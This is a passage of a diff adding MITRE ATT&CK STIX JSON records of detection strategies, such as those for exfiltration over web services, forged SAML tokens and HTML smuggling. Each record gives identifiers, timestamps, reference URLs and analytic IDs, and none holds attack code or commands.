Strategy for Escape to Host", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fc9161ef-3cab-45f5-a585-d78778d72f2b", + "x-mitre-analytic--0021ecae-778a-4726-aa66-1cf4ca01943e", + "x-mitre-analytic--81e2b983-2159-47d1-9ec1-a5c863faa1a7", + "x-mitre-analytic--9f5f193f-6aef-4586-a047-492b0c651001" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--07fb6847-efcb-426e-9344-bfc9dfcdebd4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0369", + "external_id": "DET0369" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Event Triggered Execution via Trap (T1546.005)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d1d19568-2b59-4d44-9744-22d7304d2200", + "x-mitre-analytic--99c42b1f-1716-413b-8c23-5f7e1d997ab2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f0ef3932-5f60-4dfc-9725-8639d67349cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0555", + "external_id": "DET0555" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Event Triggered Execution via emond on macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5e4aea30-f04b-4f1e-b68a-f2f3a95e5066" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6f59bdfc-8352-4e6f-bef1-cc59b4e9b04d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0557", + "external_id": "DET0557" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Event Triggered Execution: AppInit DLLs (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e886b9c8-2187-4363-9043-1e5c60d75363" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1d8154f6-6890-4441-863f-007600867088", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0015", + "external_id": "DET0015" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Exclusive Control", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--16e57a41-f305-4aa7-9125-15272052419e", + "x-mitre-analytic--0a1f9686-4fd6-4719-84ef-7a590d02d1fb", + "x-mitre-analytic--f84124d2-8bc6-4dae-a579-f0ddb0338a2f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--beb3a98c-f1a4-434a-81e7-29d178b14db2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0348", + "external_id": "DET0348" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Exfiltration Over C2 Channel", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--28c16139-9ce1-4dd7-b26a-e257f37e246c", + "x-mitre-analytic--6914dd62-46a6-4de4-9c0b-afe1cb5b075d", + "x-mitre-analytic--deb57305-6324-404d-a9d0-00aa0c285920", + "x-mitre-analytic--f8998263-e55f-428f-b8d0-46d9e31277d2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1753ab98-4530-4284-9bc3-5d4813abfb9e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0548", + "external_id": "DET0548" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Exfiltration Over Web Service", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--81b1e9a7-b6f4-4cca-b07a-3498ab4abd4a", + "x-mitre-analytic--8a5a1b1e-336f-41af-8f30-2fa7e8e10fab", + "x-mitre-analytic--d49c13ed-df07-4bb3-a2dc-43411e5d402a", + "x-mitre-analytic--177bb119-93cc-4319-b9a7-e8d308d958c4", + "x-mitre-analytic--f1f23910-7ecd-498b-92e8-7b5aa0d53ac8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--dcc26ef4-3ecd-4b37-b4b4-66faee084352", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0153", + "external_id": "DET0153" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Exfiltration Over Webhook", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--98bd8e15-68ea-43a3-982b-66fcd1142c9a", + "x-mitre-analytic--053dd0c5-9746-46ea-bdeb-b385bf5cbbf8", + "x-mitre-analytic--d7f9b07f-401c-4685-a014-6a824f95f866", + "x-mitre-analytic--37166782-8770-4812-b70c-27f3c705489b", + "x-mitre-analytic--4b72b349-f810-4e34-9185-b5550147147e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c8895822-a3d1-41eb-952f-c67b4673eee2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0570", + "external_id": "DET0570" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Exfiltration to Cloud Storage", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a74c34c2-f4bf-4bd0-9f23-7c04c45b93ca", + "x-mitre-analytic--5012d2b2-bd36-431c-91d3-4c10b7d3a9d6", + "x-mitre-analytic--535e9bc8-b033-4aee-88e1-bd48699b7856", + "x-mitre-analytic--682f84f1-5571-4d41-b071-53c8f72a88f1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ac9c6b7c-bf94-4eeb-926c-f576673c0a14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0318", + "external_id": "DET0318" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Exfiltration to Code Repository", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7c7f0049-96af-4acc-9c58-9f8e661adb63", + "x-mitre-analytic--8049e0b4-961b-499f-9204-45fa9b7117be", + "x-mitre-analytic--70b2ab8e-f18e-4cb5-8149-4ba2c334df69", + "x-mitre-analytic--e18f0682-6610-4ba8-8159-a4afea3b7974" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6ab41bc0-2d89-4173-8149-728fbc2698b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0284", + "external_id": "DET0284" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Exfiltration to Text Storage Sites", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4e8da615-4d12-4b53-8c7b-06d7c41e22a9", + "x-mitre-analytic--dd202a3f-c73b-47cf-9689-f14a8def816e", + "x-mitre-analytic--cf74f802-0080-41ff-8745-9c42af313462", + "x-mitre-analytic--58a609cb-b266-4a1a-a40f-9e4cd5d591ce" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--13a856f3-66b2-4ab7-b73f-2a26e712e77f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0174", + "external_id": "DET0174" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Exploitation for Credential Access", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2d4a40e4-359f-49ac-9e3f-58e29497aa41", + "x-mitre-analytic--3f3ae0da-3005-42d7-afa3-8eaa8da3f700", + "x-mitre-analytic--bb339113-e807-45fe-99c4-ed8348e51b36", + "x-mitre-analytic--0b8b8557-0393-4c63-963f-e5a3b5cc6ad8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--da1e3af8-d79b-44ff-a907-ae107c110671", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0595", + "external_id": "DET0595" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Exploitation for Defense Evasion", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e5b0fcab-05e5-4687-a1a9-dd382a19980b", + "x-mitre-analytic--ecf26d05-48ef-43b2-bfc3-4ea331be735b", + "x-mitre-analytic--88d9dbea-cc85-4c94-a368-e5c1a603854b", + "x-mitre-analytic--458038e6-60a2-47d2-bd55-675e77f0e279", + "x-mitre-analytic--77c3b78a-fb34-4040-9dda-057e8eca3362" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--64fc24f5-0428-4956-a328-2e76e0af984e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0514", + "external_id": "DET0514" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Exploitation for Privilege Escalation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b01d212c-112a-47fb-8883-78bb623ee34b", + "x-mitre-analytic--1327b96f-73db-4a5e-8e71-e515fc030bf3", + "x-mitre-analytic--0066bac9-599a-4f7b-a667-9cb1dca94347", + "x-mitre-analytic--2a93100f-6332-4c91-bad9-fd371d638309" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e32dbff1-9d06-4495-b815-48463481581b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0406", + "external_id": "DET0406" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Extended Attributes Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f398e8ff-8c61-4672-8ace-118b11a38515", + "x-mitre-analytic--f5a0dc9d-3dda-4e31-ad4d-0560b918b6b1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1a8d87f1-48ca-4929-a5cc-2b2a03983f12", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0217", + "external_id": "DET0217" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Extra Window Memory (EWM) Injection on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6ec034ac-289d-48d1-b310-021dfbf7087b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--74252ca3-585e-466f-8020-ed77ebda3369", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0150", + "external_id": "DET0150" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for File Creation or Modification of Boot Files", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7edc8ff6-0616-4fab-a7b7-1bd3d08cc0b1", + "x-mitre-analytic--3d209345-1676-4170-b1d0-d6538bce06c4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f9175415-59ba-497c-b96f-639e01f4cf4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0051", + "external_id": "DET0051" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for File/Path Exclusions", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--620cae28-1874-462d-a2e4-47ddd75098ea", + "x-mitre-analytic--fd7bf05d-6f80-471c-99bf-7aa82ab25440", + "x-mitre-analytic--3643a313-1aa7-44d1-b3e2-e97ad65c6837" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--aea09aae-c0c3-4453-aa44-ea0153e5cb8c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0344", + "external_id": "DET0344" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Fileless Storage via Registry, WMI, and Shared Memory", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4f5f4b26-0bf0-4f3d-b8ac-1af660923bd2", + "x-mitre-analytic--b521510b-83bc-46a2-8fc8-65a6975bcfca" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e767f434-dda3-41fe-a9ea-e7aaae251e61", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0495", + "external_id": "DET0495" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Financial Theft", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f2aef85a-c1ea-4d1a-b359-32692c973cdc", + "x-mitre-analytic--efdca1e1-5a4a-4039-99ab-1cdb7e50e52c", + "x-mitre-analytic--ce3ebda8-d47e-4730-a1f4-3366d33a98ab", + "x-mitre-analytic--3bac57c4-1539-4048-b325-88032c78ed08", + "x-mitre-analytic--03364dc1-4b76-4a30-83cf-ae101b960d8e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b6d7d7cb-b56f-4095-b3ac-21147b0123e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0148", + "external_id": "DET0148" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Forged SAML Tokens", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3cb835e5-ded1-42c4-a5cc-38911078b0a5", + "x-mitre-analytic--5c6e9102-b3ef-4eaa-85c1-bb5702df0f45", + "x-mitre-analytic--5d2820b1-af59-4ca2-9f9e-b5bc76f55395", + "x-mitre-analytic--93c97a07-283e-46c5-b2ac-560db0382ea9", + "x-mitre-analytic--8359e4ed-c4a1-4734-a3dd-e2d3eb33bc90" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e1854c9f-2b70-4311-9a46-a420f6c0b6d0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0171", + "external_id": "DET0171" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Forged Web Cookies", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9a6089cc-92a7-48ea-b4a4-4d4d2b6489e3", + "x-mitre-analytic--305c684a-2b36-4209-9d00-778ed16de763", + "x-mitre-analytic--7b981ab1-eb5f-4ad0-a819-90db819a4431", + "x-mitre-analytic--27a0146c-0af8-4323-9c41-fbd3df9af1fa", + "x-mitre-analytic--f8c255ac-8ba5-4971-9e11-420a10e688ad" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--44f32d03-50ce-480f-b531-481bcc6dc0a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0260", + "external_id": "DET0260" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Forged Web Credentials", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fca70138-f183-4deb-b2a4-59908c76070b", + "x-mitre-analytic--d1eafedb-ac64-46b0-972d-8f8759fc11b3", + "x-mitre-analytic--ff0d2f8d-1fff-4bda-94e6-c0cd50abe6ed", + "x-mitre-analytic--789849fe-7e94-4fd0-904b-02f8c9c0a696", + "x-mitre-analytic--b2569010-23c0-4dd8-9e53-3537c1e89efc", + "x-mitre-analytic--75d43d9f-7b54-4cd4-a6d9-523f8f9a60ff", + "x-mitre-analytic--9735a0b1-df29-49fe-b0f7-973c0b513e8d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a8067c32-46d5-426e-9c1a-e91d360be83d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0313", + "external_id": "DET0313" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for HTML Smuggling via JavaScript Blob + Dynamic File Drop", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0cb02d2e-dcea-4195-80e7-81ec29b4d546", + "x-mitre-analytic--30ae2215-5dd5-4ef2-82bd-965781ef1f42", + "x-mitre-analytic--5f8b5ef5-8b4a-4713-a694-dc0746669a73" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bd2348f8-acef-4310-bd03-cf7b866d2592", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0502", + "external_id": "DET0502" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Hidden Artifacts Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e01b29cd-2369-4ad5-bd91-98994f36cd1e", + "x-mitre-analytic--2c3ec402-b9e9-4091-a04d-3b73f260e669", + 